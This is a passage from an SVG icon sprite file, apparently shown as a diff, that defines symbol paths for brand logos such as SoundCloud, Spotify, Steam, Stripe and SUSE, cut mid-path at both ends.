4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C159.1 100 206.7 96 220.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"></path> + </symbol> + <symbol id="soundcloud" viewBox="0 0 640 512"> + <path d="M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z"></path> + </symbol> + <symbol id="sourcetree" viewBox="0 0 448 512"> + <path d="M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z"></path> + </symbol> + <symbol id="speakap" viewBox="0 0 448 512"> + <path d="M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z"></path> + </symbol> + <symbol id="speaker-deck" viewBox="0 0 512 512"> + <path d="M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z"></path> + </symbol> + <symbol id="spotify" viewBox="0 0 496 512"> + <path d="M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z"></path> + </symbol> + <symbol id="squarespace" viewBox="0 0 512 512"> + <path d="M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z"></path> + </symbol> + <symbol id="stack-exchange" viewBox="0 0 448 512"> + <path d="M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z"></path> + </symbol> + <symbol id="stack-overflow" viewBox="0 0 384 512"> + <path d="M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z"></path> + </symbol> + <symbol id="stackpath" viewBox="0 0 448 512"> + <path d="M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z"></path> + </symbol> + <symbol id="staylinked" viewBox="0 0 440 512"> + <path d="M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z"></path> + </symbol> + <symbol id="steam" viewBox="0 0 496 512"> + <path d="M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z"></path> + </symbol> + <symbol id="steam-square" viewBox="0 0 448 512"> + <path d="M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z"></path> + </symbol> + <symbol id="steam-symbol" viewBox="0 0 448 512"> + <path d="M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z"></path> + </symbol> + <symbol id="sticker-mule" viewBox="0 0 576 512"> + <path d="M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z"></path> + </symbol> + <symbol id="strava" viewBox="0 0 384 512"> + <path d="M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z"></path> + </symbol> + <symbol id="stripe" viewBox="0 0 640 512"> + <path d="M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z"></path> + </symbol> + <symbol id="stripe-s" viewBox="0 0 384 512"> + <path d="M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z"></path> + </symbol> + <symbol id="studiovinari" viewBox="0 0 512 512"> + <path d="M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z"></path> + </symbol> + <symbol id="stumbleupon" viewBox="0 0 512 512"> + <path d="M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z"></path> + </symbol> + <symbol id="stumbleupon-circle" viewBox="0 0 496 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z"></path> + </symbol> + <symbol id="superpowers" viewBox="0 0 448 512"> + <path d="M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z"></path> + </symbol> + <symbol id="supple" viewBox="0 0 640 512"> + <path d="M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z"></path> + </symbol> + <symbol id="suse" viewBox="0 0 640 512"> + <path d="M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 